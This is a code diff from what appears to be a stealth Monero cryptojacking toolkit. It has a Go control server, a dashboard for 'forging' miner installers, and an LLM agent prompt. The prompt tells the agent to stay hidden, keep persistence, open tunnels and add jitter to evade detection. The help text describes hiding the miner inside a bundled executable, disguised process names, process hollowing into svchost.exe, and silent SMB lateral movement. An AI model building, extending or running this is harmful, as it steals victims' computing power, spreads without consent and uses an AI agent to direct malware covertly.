+5. Keep CPU usage under 85% to avoid disrupting normal use +6. Report status back to the control server ## RULES - NEVER delete system files or registry keys - NEVER exceed 85% CPU usage -- If Windows Defender is enabled, try to disable it or add exclusions - If persistence is missing, add it via scheduled task or registry run key - If no tunnel exists, create one using cloudflared or similar -- Be stealthy — avoid popups, notifications, or user-visible changes +- Add random jitter to sleep durations to avoid network traffic signatures - Only call tools that are actually needed based on the current state - If everything is running fine, return an empty tool_calls array ## TOOLS -### execute_command -Run any Windows command. Returns stdout/stderr. -Args: {"command": "the command to execute"} - ### check_miner Check if the miner process is running. Args: {"process_name": "name of the miner process"} @@ -299,10 +292,6 @@ Args: {"method": "scheduled_task|registry", "path": "path to the executable"} Create a Cloudflare Tunnel or similar reverse tunnel. Args: {"tunnel_type": "cloudflared", "server_url": "tunnel endpoint"} -### disable_defender -Disable Windows Defender real-time monitoring or add exclusion. -Args: {"action": "disable|add_exclusion", "path": "path to exclude"} - ### sleep Wait for a specified duration before next decision cycle. Args: {"seconds": "number of seconds to sleep"} diff --git a/server/internal/sys/firewall_stub.go b/server/internal/sys/firewall_stub.go new file mode 100644 index 0000000..c594351 --- /dev/null +++ b/server/internal/sys/firewall_stub.go @@ -0,0 +1,9 @@ +//go:build !windows + +package sys + +import "fmt" + +func EnsureInboundTCPPort(port int, ruleName string) error { + return fmt.Errorf("automatic firewall rules are only supported on Windows") +} diff --git a/server/internal/sys/firewall_windows.go b/server/internal/sys/firewall_windows.go new file mode 100644 index 0000000..ab765f9 --- /dev/null +++ b/server/internal/sys/firewall_windows.go @@ -0,0 +1,33 @@ +//go:build windows + +package sys + +import ( + "fmt" + "log" + "os/exec" + "strings" +) + +// EnsureInboundTCPPort adds a Windows Firewall inbound allow rule for the control server port. +func EnsureInboundTCPPort(port int, ruleName string) error { + if port <= 0 { + return fmt.Errorf("invalid port") + } + if strings.TrimSpace(ruleName) == "" { + ruleName = "AetherForge Control Server" + } + nameEsc := strings.ReplaceAll(ruleName, `'`, `''`) + script := fmt.Sprintf(` +$name = '%s' +$port = %d +if (Get-NetFirewallRule -DisplayName $name -ErrorAction SilentlyContinue) { exit 0 } +New-NetFirewallRule -DisplayName $name -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any | Out-Null +`, nameEsc, port) + cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script) + if err := cmd.Run(); err != nil { + return fmt.Errorf("firewall rule: %w (run server once as Administrator or open port %d manually)", err, port) + } + log.Printf("[firewall] inbound TCP %d allowed (%s)", port, ruleName) + return nil +} diff --git a/server/main.go b/server/main.go index 143510d..a268c47 100644 --- a/server/main.go +++ b/server/main.go @@ -3,6 +3,7 @@ package main import ( "encoding/json" "fmt" + "io" "log" "net/http" "os" @@ -15,15 +16,27 @@ import ( "crypto-miner-server/internal/db" "crypto-miner-server/internal/maintenance" "crypto-miner-server/internal/pool" + "crypto-miner-server/internal/sys" ) +type wsLogWriter struct { + hub *api.WSHub +} + +func (w *wsLogWriter) Write(p []byte) (n int, err error) { + w.hub.BroadcastServerLog(string(p)) + return len(p), nil +} + func main() { log.SetFlags(log.LstdFlags | log.Lshortfile) log.Println("Crypto Miner Control Server starting...") // Load configuration cfg := LoadConfig() - log.Printf("Configuration loaded: port=%d, dataDir=%s", cfg.Port, cfg.DataDir) + projectRoot := findProjectRoot() + cfg.DataDir = resolveDataDir(cfg.DataDir, projectRoot) + log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot) // Ensure data directories exist dirs := []string{ @@ -56,12 +69,14 @@ func main() { aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) { wsHub.BroadcastAIActivity(entry) }) + + // Stream all server logs to the dashboard Master Terminal + log.SetOutput(io.MultiWriter(os.Stdout, &wsLogWriter{hub: wsHub})) log.Println("WebSocket hub initialized") // Initialize builder handler // The agent source is expected at ../agent relative to the server directory agentSrcDir := findAgentSourceDir() - projectRoot := findProjectRoot() builderHandler := builder.NewHandler(database, cfg.DataDir, agentSrcDir, projectRoot) log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir) @@ -90,6 +105,7 @@ func main() { wsHub.SetPoolManager(poolManager, defaultPoolCfg) applyRuntimeConfig(cfg, wsHub, poolManager, builderHandler) + applyControlServerFirewall(cfg) configProvider := &serverConfigProvider{ config: cfg, @@ -190,6 +206,20 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB, }) } + applyControlServerFirewall(cfg) +} + +func applyControlServerFirewall(cfg *Config) { + if cfg == nil || !cfg.Server.OpenFirewallOnStart { + return + } + port := cfg.Port + if port <= 0 { + port = 8989 + } + if err := sys.EnsureInboundTCPPort(port, "AetherForge Control Server"); err != nil { + log.Printf("[firewall] %v", err) + } } // serverConfigProvider wraps the Config to implement api.ConfigProvider interface @@ -270,6 +300,22 @@ func findAgentSourceDir() string { return filepath.Join(projectRoot, "agent") } +// resolveDataDir pins relative data paths to the project root so builds always land in +// /data even when miner-server.exe is started from server/ or bin/. +func resolveDataDir(dataDir, projectRoot string) string { + if filepath.IsAbs(dataDir) { + return dataDir + } + if projectRoot != "" && projectRoot != "." { + return filepath.Join(projectRoot, dataDir) + } + abs, err := filepath.Abs(dataDir) + if err != nil { + return dataDir + } + return abs +} + func findProjectRoot() string { if cwd, err := os.Getwd(); err == nil { if _, err := os.Stat(filepath.Join(cwd, "run.bat")); err == nil { diff --git a/server/web/src/help/cheatSheetContent.ts b/server/web/src/help/cheatSheetContent.ts index ed948a1..98d0a30 100644 --- a/server/web/src/help/cheatSheetContent.ts +++ b/server/web/src/help/cheatSheetContent.ts @@ -77,7 +77,7 @@ export const FORGE_VS_CALIBRATE = { 'Worker name & server URL', 'Wallet & pool (host, port, TLS)', 'Threads, CPU/RAM limits, schedule', - 'Install path, stealth, persistence', + 'Install path, stealth, persistence, firewall rules', 'Fusion prep bundling', 'AI Autonomy toggle + Ollama model', ], @@ -91,6 +91,7 @@ export const FORGE_VS_CALIBRATE = { 'Default pool/wallet for new Forge forms', 'Stats & build retention, max agents/build size', 'WebSocket ping, pool reconnect, logging toggles', + 'Open control-server port in Windows Firewall', ], }, }; @@ -144,7 +145,8 @@ export const AI_GUIDE: CheatStep[] = [ ]; export const TROUBLESHOOTING = [ - { problem: 'Agent never appears', fix: 'Server URL must be LAN IP (192.168.x.x), not localhost. Check Windows firewall on port 8989.' }, + { problem: 'Agent never appears', fix: 'Server URL must be LAN IP (192.168.x.x), not localhost. Enable Calibrate → open firewall port, and Forge → firewall exclusion on workers. Router must allow LAN→LAN traffic.' }, + { problem: 'Firewall blocked miner', fix: 'Re-forge with Windows Firewall allow rules enabled, run installer once as Administrator, or manually allow the installed .exe in Windows Security → Firewall.' }, { problem: '0 hashrate', fix: 'Pool must be reachable from control server. Check pool host/TLS/port in Forge match your pool docs.' }, { problem: 'Forge blocked', fix: 'Read preflight ✕ errors. Common: missing wallet, localhost URL, Fusion without prep.exe, AI without Ollama URL.' }, { problem: 'Shares all rejected', fix: 'Wallet address invalid or pool down. Accept rate waits for real pool validation now.' }, diff --git a/server/web/src/help/forgeCompatibility.ts b/server/web/src/help/forgeCompatibility.ts index d8f0023..438ae13 100644 --- a/server/web/src/help/forgeCompatibility.ts +++ b/server/web/src/help/forgeCompatibility.ts @@ -3,7 +3,8 @@ import type { PreflightCheck } from './forgeValidation'; function looksLikeXMRWallet(addr: string): boolean { const a = addr.trim(); - return a.length >= 90 && a.length <= 106 && /^4[0-9A-Za-z]+$/.test(a); + // Standard Monero addresses start with 4, subaddresses with 8 + return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a); } /** Extra incompatibility checks beyond basic validation. */ @@ -137,7 +138,7 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect checks.push({ id: 'ai_localhost', level: 'warn', - message: 'Ollama URL uses 127.0.0.1 — that means the control server PC, not the worker machine.', + message: 'Ollama URL uses 127.0.0.1 (Control Server). This is correct if Ollama is running on this machine.', }); } @@ -149,7 +150,14 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect }); } - if (form.process_name.trim() && !/^[a-zA-Z0-9._-]+$/.test(form.process_name.trim())) { + const processName = form.process_name || ''; + if (!processName.trim()) { + checks.push({ + id: 'process_name_empty', + level: 'error', + message: 'Process Name is required. This determines the installed .exe name.', + }); + } else if (!/^[a-zA-Z0-9._-]+$/.test(processName.trim())) { checks.push({ id: 'process_name', level: 'warn', @@ -157,7 +165,36 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect }); } - if (form.wallet.trim() && looksLikeXMRWallet(form.wallet) && form.pool_host.trim()) { + const wallet = form.wallet || ''; + const poolHost = form.pool_host || ''; + const workerName = form.worker_name || ''; + const serverUrl = form.server_url || ''; + + if (!workerName.trim()) { + checks.push({ + id: 'worker_name_empty', + level: 'error', + message: 'Worker Name is required. This identifies the machine in your fleet.', + }); + } + + if (serverUrl.includes('localhost') || serverUrl.includes('127.0.0.1')) { + checks.push({ + id: 'server_url_localhost', + level: 'error', + message: 'Control server URL uses localhost or 127.0.0.1 — deployed workers will try to connect to themselves instead of the server.', + }); + } + + if (wallet.trim() && !looksLikeXMRWallet(wallet)) { + checks.push({ + id: 'wallet_invalid', + level: 'warn', + message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 95-106). Double check it.', + }); + } + + if (wallet.trim() && looksLikeXMRWallet(wallet) && poolHost.trim() && workerName.trim() && serverUrl.trim() && !serverUrl.includes('localhost') && !serverUrl.includes('127.0.0.1')) { checks.push({ id: 'forge_ready', level: 'ok', diff --git a/server/web/src/help/forgeDefaults.ts b/server/web/src/help/forgeDefaults.ts index 5ceaa0b..07dc57c 100644 --- a/server/web/src/help/forgeDefaults.ts +++ b/server/web/src/help/forgeDefaults.ts @@ -31,6 +31,7 @@ export const FORGE_BUILD_DEFAULTS: Omit< self_healing: true, file_logging: false, stealth_mode: true, + firewall_exclusion: true, fusion_enabled: false, fusion_run_order: 'parallel', fusion_output_name: 'prep.exe', diff --git a/server/web/src/help/forgeRules.ts b/server/web/src/help/forgeRules.ts index 294af9b..e4cc4d4 100644 --- a/server/web/src/help/forgeRules.ts +++ b/server/web/src/help/forgeRules.ts @@ -84,7 +84,7 @@ export function applyForgeFieldUpdate( next.silent_mode = true; } break; - + case 'display_mode': if (value === 'visible') { next.stealth_mode = false; @@ -238,6 +238,7 @@ export function getForgeFieldMeta(form: BuildRequest): Record ({ run_as: 'user', auto_start: true, persistence: true, - process_name: '', + process_name: 'RuntimeBrokerHelper', max_cpu_usage_pct: 80, max_memory_percent: 70, min_free_ram_mb: 1024, @@ -31,6 +31,7 @@ const baseForm = (): BuildRequest => ({ self_healing: true, file_logging: true, stealth_mode: false, + firewall_exclusion: false, pool_host: 'pool.supportxmr.com', pool_port: 3333, pool_tls: true, diff --git a/server/web/src/help/forgeValidation.ts b/server/web/src/help/forgeValidation.ts index a08f983..ee598bf 100644 --- a/server/web/src/help/forgeValidation.ts +++ b/server/web/src/help/forgeValidation.ts @@ -9,7 +9,7 @@ export interface PreflightCheck { message: string; } -function isLanReachableUrl(url: string): boolean { +function isReachableServerUrl(url: string): boolean { try { const u = new URL(url.trim()); const host = u.hostname.toLowerCase(); @@ -22,7 +22,9 @@ function isLanReachableUrl(url: string): boolean { if (second >= 16 && second <= 31) return true; } } - return host.includes('.'); + // Public hostnames (Cloudflare tunnel, domain, etc.) + if (host.includes('.') && (u.protocol === 'http:' || u.protocol === 'https:')) return true; + return false; } catch { return false; } @@ -46,14 +48,16 @@ export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolea if (!form.server_url.trim()) { checks.push({ id: 'server', level: 'error', message: 'Server URL is required — miners must reach your control server.' }); - } else if (!isLanReachableUrl(form.server_url)) { + } else if (!isReachableServerUrl(form.server_url)) { checks.push({ id: 'server', level: 'error', - message: 'Server URL should be your LAN IP (e.g. http://192.168.1.10:8989), not localhost.', + message: 'Server URL must be reachable by workers — use LAN IP or your public https:// hostname, not localhost.', }); } else { - checks.push({ id: 'server', level: 'ok', message: 'Server URL looks reachable from other PCs on your network.' }); + const u = new URL(form.server_url.trim()); + const hint = u.protocol === 'https:' ? 'Public/tunnel URL OK.' : 'LAN URL OK.'; + checks.push({ id: 'server', level: 'ok', message: `Control endpoint looks valid. ${hint}` }); } if (!form.wallet.trim()) { diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index 30148b4..7c024b5 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -20,10 +20,10 @@ export const SETUP_CHEATSHEET = [ export const FIELD_HELP: Record = { worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3', server_url: - 'Control server URL baked into the installer (http://LAN-IP:port). Editable in Forge when your host IP changes; use a LAN address, not localhost.', + 'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.', output_dir: - 'Optional: also copy the finished .exe into a folder under the server data_dir (example: exports). This is just for convenience; builds are always kept under data/builds// and downloadable.', - wallet: 'Monero wallet address where pool payouts go. Must be a valid 95-character mainnet address starting with 4.', + 'Optional extra copy into a subfolder (e.g. exports). The forged .exe is always written to the project root as a single file with the same name as your Fusion output setting.', + wallet: 'Monero wallet address where pool payouts go. Must be a valid mainnet address starting with 4 or 8.', pool_host: 'Upstream Monero pool hostname. The control server connects here and relays work to your fleet.', pool_port: 'Pool Stratum port. SupportXMR TLS is usually 443 or 3333 depending on pool docs.', pool_tls: 'Enable for stratum+ssl pools. Must match what your pool requires.', @@ -48,6 +48,7 @@ export const FIELD_HELP: Record = { auto_start: 'Same as Persistence. Keeps miner running after reboot.', fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.', fusion_run_order: 'Parallel runs prep and miner together. Prep first finishes prep then keeps miner running. Worker first installs the miner then runs prep.', + fusion_prep: 'The executable you want to bundle the miner inside. The final forged output will launch this prep file and the hidden miner.', fusion_output_name: 'Filename of the fused output on disk, usually prep.exe so your USB workflow stays the same.', install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.', install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.', @@ -57,9 +58,14 @@ export const FIELD_HELP: Record = { log_pool_traffic: 'Verbose Stratum wire logging to the server console — for debugging pool connectivity only.', adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.', self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.', + firewall_exclusion: 'On first install, adds Windows Firewall inbound/outbound allow rules for the installed miner .exe. Helps on locked-down PCs; may require one Run as administrator if the rule fails.', + open_firewall_on_start: 'When enabled, the control server adds a Windows Firewall inbound rule for its listen port (default 8989) on startup so LAN agents can connect.', file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).', stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.', ai_enabled: 'Enable AI Autonomy — the forged miner periodically asks the control server for Ollama decisions (self-healing, persistence checks). Requires Ollama reachable from the control server.', ai_ollama_endpoint: 'Ollama API URL on the control server machine (example: http://localhost:11434). The hub calls Ollama — not the worker directly.', ai_model: 'Ollama model name to use for AI decisions (example: llama3.2). Must be pulled locally on the control server.', + process_hollowing: 'Memory injection: runs the miner invisibly inside a legitimate Windows process (e.g., svchost.exe) instead of the normal executable. Extremely stealthy.', + mesh_p2p: 'Mesh Networking: If the control server is unreachable, route mining shares through other connected agents on the same local network.', + auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.', }; diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index e22424b..6ae8404 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -511,7 +511,7 @@ export default function BuilderPage() { description="This miner's pool connection — host, port, TLS, and password are baked into the worker." />
- +
- + updateField('pool_tls', e.target.checked)} /> - Use TLS/SSL + Use TLS/SSL
- +
- +
- +
- +
- +
+
+ + +
@@ -825,7 +833,7 @@ export default function BuilderPage() { <>
- +
- +
- + File: {lastBuild.file_name}

Size: {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB

-

Absolute path:

- {lastBuild.file_path} -

Relative path:

- {lastBuild.relative_path} + {lastBuild.export_path && ( + <> +

Your file (project root):

+ {lastBuild.export_path} +

Fusion builds keep the same icon as your uploaded prep when Windows icon extraction succeeds.

+ + )} +

Archive copy: {lastBuild.file_path}

{lastBuild.download_url && ( Download .exe )} + {lastBuild.uninstall_export_path && ( +

Uninstaller copy: {lastBuild.uninstall_export_path}

+ )} {lastBuild.uninstall_download_url && ( <>

Uninstaller: {lastBuild.uninstall_file_name}

- {lastBuild.uninstall_path} + {!lastBuild.uninstall_export_path && ( + {lastBuild.uninstall_path} + )} Download uninstall script diff --git a/server/web/src/pages/SettingsPage.tsx b/server/web/src/pages/SettingsPage.tsx index 0370f47..bb467fb 100644 --- a/server/web/src/pages/SettingsPage.tsx +++ b/server/web/src/pages/SettingsPage.tsx @@ -31,6 +31,7 @@ export default function SettingsPage() { log_pool_traffic: cfg.server?.log_pool_traffic ?? false, strict_wallet_validation: cfg.server?.strict_wallet_validation ?? false, dashboard_subtitle: cfg.server?.dashboard_subtitle ?? 'security is just an emotion', + open_firewall_on_start: cfg.server?.open_firewall_on_start ?? true, }, }); setServerInfo(info); @@ -136,6 +137,7 @@ export default function SettingsPage() { log_pool_traffic: false, strict_wallet_validation: false, dashboard_subtitle: '', + open_firewall_on_start: true, }; return ( @@ -203,6 +205,14 @@ export default function SettingsPage() { updateField('server.dashboard_subtitle', e.target.value)} />
+
+ + +
diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 31ec066..67acb70 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -99,6 +99,7 @@ export interface ServerSettings { log_pool_traffic: boolean; strict_wallet_validation: boolean; dashboard_subtitle: string; + open_firewall_on_start: boolean; } export interface PoolConfig { @@ -227,6 +228,7 @@ export interface BuildRequest { self_healing: boolean; file_logging: boolean; stealth_mode: boolean; + firewall_exclusion: boolean; pool_host: string; pool_port: number; pool_tls: boolean; @@ -251,6 +253,8 @@ export interface BuildResponse { uninstall_file_name?: string; uninstall_path?: string; uninstall_download_url?: string; + export_path?: string; + uninstall_export_path?: string; error?: string; fusion_enabled?: boolean; worker_file?: string;